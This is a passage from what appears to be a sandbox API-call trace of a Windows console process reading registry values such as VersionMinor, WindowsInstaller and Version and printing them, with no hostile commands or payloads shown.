cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.458] GetConsoleOutputCP () returned 0x1b5 [0149.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x7", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x7", lpUsedDefaultChar=0x0) returned 3 [0149.458] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.459] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.459] __iob_func () returned 0x7fefd702a80 [0149.459] _fileno (_File=0x7fefd702ab0) returned 1 [0149.459] _errno () returned 0x204bb0 [0149.459] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.459] _errno () returned 0x204bb0 [0149.459] GetFileType (hFile=0x50) returned 0x1 [0149.459] lstrlenW (lpString="\n") returned 1 [0149.459] GetConsoleOutputCP () returned 0x1b5 [0149.459] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.459] GetConsoleOutputCP () returned 0x1b5 [0149.459] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.459] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.459] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.459] GetProcessHeap () returned 0x3c0000 [0149.459] GetProcessHeap () returned 0x3c0000 [0149.459] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.459] GetProcessHeap () returned 0x3c0000 [0149.459] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.459] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.459] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.459] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.459] GetProcessHeap () returned 0x3c0000 [0149.459] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.459] GetProcessHeap () returned 0x3c0000 [0149.459] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.459] GetProcessHeap () returned 0x3c0000 [0149.459] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.460] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.460] __iob_func () returned 0x7fefd702a80 [0149.460] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.460] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.460] _fileno (_File=0x7fefd702ab0) returned 1 [0149.460] _errno () returned 0x204bb0 [0149.460] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.460] _errno () returned 0x204bb0 [0149.460] GetFileType (hFile=0x50) returned 0x1 [0149.460] lstrlenW (lpString=" ") returned 4 [0149.460] GetConsoleOutputCP () returned 0x1b5 [0149.460] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.460] GetConsoleOutputCP () returned 0x1b5 [0149.460] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.460] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.460] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.460] lstrlenW (lpString="VersionMinor") returned 12 [0149.460] __iob_func () returned 0x7fefd702a80 [0149.460] _fileno (_File=0x7fefd702ab0) returned 1 [0149.460] _errno () returned 0x204bb0 [0149.460] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.460] _errno () returned 0x204bb0 [0149.460] GetFileType (hFile=0x50) returned 0x1 [0149.460] lstrlenW (lpString="VersionMinor") returned 12 [0149.460] GetConsoleOutputCP () returned 0x1b5 [0149.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.461] GetConsoleOutputCP () returned 0x1b5 [0149.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0149.461] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.461] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.461] __iob_func () returned 0x7fefd702a80 [0149.461] _fileno (_File=0x7fefd702ab0) returned 1 [0149.461] _errno () returned 0x204bb0 [0149.461] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.461] _errno () returned 0x204bb0 [0149.461] GetFileType (hFile=0x50) returned 0x1 [0149.461] lstrlenW (lpString=" ") returned 4 [0149.461] GetConsoleOutputCP () returned 0x1b5 [0149.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.461] GetConsoleOutputCP () returned 0x1b5 [0149.461] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.461] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.461] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.461] __iob_func () returned 0x7fefd702a80 [0149.461] _fileno (_File=0x7fefd702ab0) returned 1 [0149.461] _errno () returned 0x204bb0 [0149.461] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.462] _errno () returned 0x204bb0 [0149.462] GetFileType (hFile=0x50) returned 0x1 [0149.462] lstrlenW (lpString="REG_DWORD") returned 9 [0149.462] GetConsoleOutputCP () returned 0x1b5 [0149.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.462] GetConsoleOutputCP () returned 0x1b5 [0149.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.462] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.462] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.462] __iob_func () returned 0x7fefd702a80 [0149.462] _fileno (_File=0x7fefd702ab0) returned 1 [0149.462] _errno () returned 0x204bb0 [0149.462] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.462] _errno () returned 0x204bb0 [0149.462] GetFileType (hFile=0x50) returned 0x1 [0149.462] lstrlenW (lpString=" ") returned 4 [0149.462] GetConsoleOutputCP () returned 0x1b5 [0149.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.462] GetConsoleOutputCP () returned 0x1b5 [0149.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.462] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.462] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.463] __iob_func () returned 0x7fefd702a80 [0149.463] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.463] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0149.463] _fileno (_File=0x7fefd702ab0) returned 1 [0149.463] _errno () returned 0x204bb0 [0149.463] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.463] _errno () returned 0x204bb0 [0149.463] GetFileType (hFile=0x50) returned 0x1 [0149.463] lstrlenW (lpString="0x0") returned 3 [0149.463] GetConsoleOutputCP () returned 0x1b5 [0149.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.463] GetConsoleOutputCP () returned 0x1b5 [0149.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0149.463] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.463] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.463] __iob_func () returned 0x7fefd702a80 [0149.463] _fileno (_File=0x7fefd702ab0) returned 1 [0149.463] _errno () returned 0x204bb0 [0149.463] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.463] _errno () returned 0x204bb0 [0149.463] GetFileType (hFile=0x50) returned 0x1 [0149.463] lstrlenW (lpString="\n") returned 1 [0149.463] GetConsoleOutputCP () returned 0x1b5 [0149.463] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.464] GetConsoleOutputCP () returned 0x1b5 [0149.464] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.464] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.464] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.464] GetProcessHeap () returned 0x3c0000 [0149.464] GetProcessHeap () returned 0x3c0000 [0149.464] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.464] GetProcessHeap () returned 0x3c0000 [0149.464] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.464] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.464] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.464] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.464] GetProcessHeap () returned 0x3c0000 [0149.464] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.464] GetProcessHeap () returned 0x3c0000 [0149.464] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.464] GetProcessHeap () returned 0x3c0000 [0149.464] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.464] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.464] __iob_func () returned 0x7fefd702a80 [0149.464] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.464] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.464] _fileno (_File=0x7fefd702ab0) returned 1 [0149.464] _errno () returned 0x204bb0 [0149.464] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.464] _errno () returned 0x204bb0 [0149.464] GetFileType (hFile=0x50) returned 0x1 [0149.464] lstrlenW (lpString=" ") returned 4 [0149.464] GetConsoleOutputCP () returned 0x1b5 [0149.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.465] GetConsoleOutputCP () returned 0x1b5 [0149.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.465] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.465] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.465] lstrlenW (lpString="WindowsInstaller") returned 16 [0149.465] __iob_func () returned 0x7fefd702a80 [0149.465] _fileno (_File=0x7fefd702ab0) returned 1 [0149.465] _errno () returned 0x204bb0 [0149.465] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.465] _errno () returned 0x204bb0 [0149.465] GetFileType (hFile=0x50) returned 0x1 [0149.465] lstrlenW (lpString="WindowsInstaller") returned 16 [0149.465] GetConsoleOutputCP () returned 0x1b5 [0149.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.465] GetConsoleOutputCP () returned 0x1b5 [0149.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0149.465] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0149.465] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.465] __iob_func () returned 0x7fefd702a80 [0149.466] _fileno (_File=0x7fefd702ab0) returned 1 [0149.466] _errno () returned 0x204bb0 [0149.466] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.466] _errno () returned 0x204bb0 [0149.466] GetFileType (hFile=0x50) returned 0x1 [0149.466] lstrlenW (lpString=" ") returned 4 [0149.466] GetConsoleOutputCP () returned 0x1b5 [0149.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.466] GetConsoleOutputCP () returned 0x1b5 [0149.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.466] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.466] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.466] __iob_func () returned 0x7fefd702a80 [0149.466] _fileno (_File=0x7fefd702ab0) returned 1 [0149.466] _errno () returned 0x204bb0 [0149.466] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.466] _errno () returned 0x204bb0 [0149.466] GetFileType (hFile=0x50) returned 0x1 [0149.466] lstrlenW (lpString="REG_DWORD") returned 9 [0149.466] GetConsoleOutputCP () returned 0x1b5 [0149.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.466] GetConsoleOutputCP () returned 0x1b5 [0149.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.467] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.467] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.467] __iob_func () returned 0x7fefd702a80 [0149.467] _fileno (_File=0x7fefd702ab0) returned 1 [0149.467] _errno () returned 0x204bb0 [0149.467] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.467] _errno () returned 0x204bb0 [0149.467] GetFileType (hFile=0x50) returned 0x1 [0149.467] lstrlenW (lpString=" ") returned 4 [0149.467] GetConsoleOutputCP () returned 0x1b5 [0149.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.467] GetConsoleOutputCP () returned 0x1b5 [0149.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.467] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.467] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.467] __iob_func () returned 0x7fefd702a80 [0149.467] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.467] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.467] _fileno (_File=0x7fefd702ab0) returned 1 [0149.467] _errno () returned 0x204bb0 [0149.467] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.467] _errno () returned 0x204bb0 [0149.467] GetFileType (hFile=0x50) returned 0x1 [0149.467] lstrlenW (lpString="0x1") returned 3 [0149.467] GetConsoleOutputCP () returned 0x1b5 [0149.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.468] GetConsoleOutputCP () returned 0x1b5 [0149.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.468] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.468] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.468] __iob_func () returned 0x7fefd702a80 [0149.468] _fileno (_File=0x7fefd702ab0) returned 1 [0149.468] _errno () returned 0x204bb0 [0149.468] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.468] _errno () returned 0x204bb0 [0149.468] GetFileType (hFile=0x50) returned 0x1 [0149.468] lstrlenW (lpString="\n") returned 1 [0149.468] GetConsoleOutputCP () returned 0x1b5 [0149.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.468] GetConsoleOutputCP () returned 0x1b5 [0149.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.468] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.468] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.468] GetProcessHeap () returned 0x3c0000 [0149.468] GetProcessHeap () returned 0x3c0000 [0149.468] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.468] GetProcessHeap () returned 0x3c0000 [0149.468] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.469] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.469] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.469] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.469] GetProcessHeap () returned 0x3c0000 [0149.469] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.469] GetProcessHeap () returned 0x3c0000 [0149.469] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.469] GetProcessHeap () returned 0x3c0000 [0149.469] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.469] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x70002c6, pcbData=0x29f780*=0x4) returned 0x0 [0149.469] __iob_func () returned 0x7fefd702a80 [0149.469] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.469] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.469] _fileno (_File=0x7fefd702ab0) returned 1 [0149.469] _errno () returned 0x204bb0 [0149.469] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.469] _errno () returned 0x204bb0 [0149.469] GetFileType (hFile=0x50) returned 0x1 [0149.469] lstrlenW (lpString=" ") returned 4 [0149.469] GetConsoleOutputCP () returned 0x1b5 [0149.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.469] GetConsoleOutputCP () returned 0x1b5 [0149.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.469] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.469] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.470] lstrlenW (lpString="Version") returned 7 [0149.470] __iob_func () returned 0x7fefd702a80 [0149.470] _fileno (_File=0x7fefd702ab0) returned 1 [0149.470] _errno () returned 0x204bb0 [0149.470] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.470] _errno () returned 0x204bb0 [0149.470] GetFileType (hFile=0x50) returned 0x1 [0149.470] lstrlenW (lpString="Version") returned 7 [0149.470] GetConsoleOutputCP () returned 0x1b5 [0149.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.470] GetConsoleOutputCP () returned 0x1b5 [0149.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0149.470] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.470] fflush (in: _File=0x7fefd702ab0 | out: 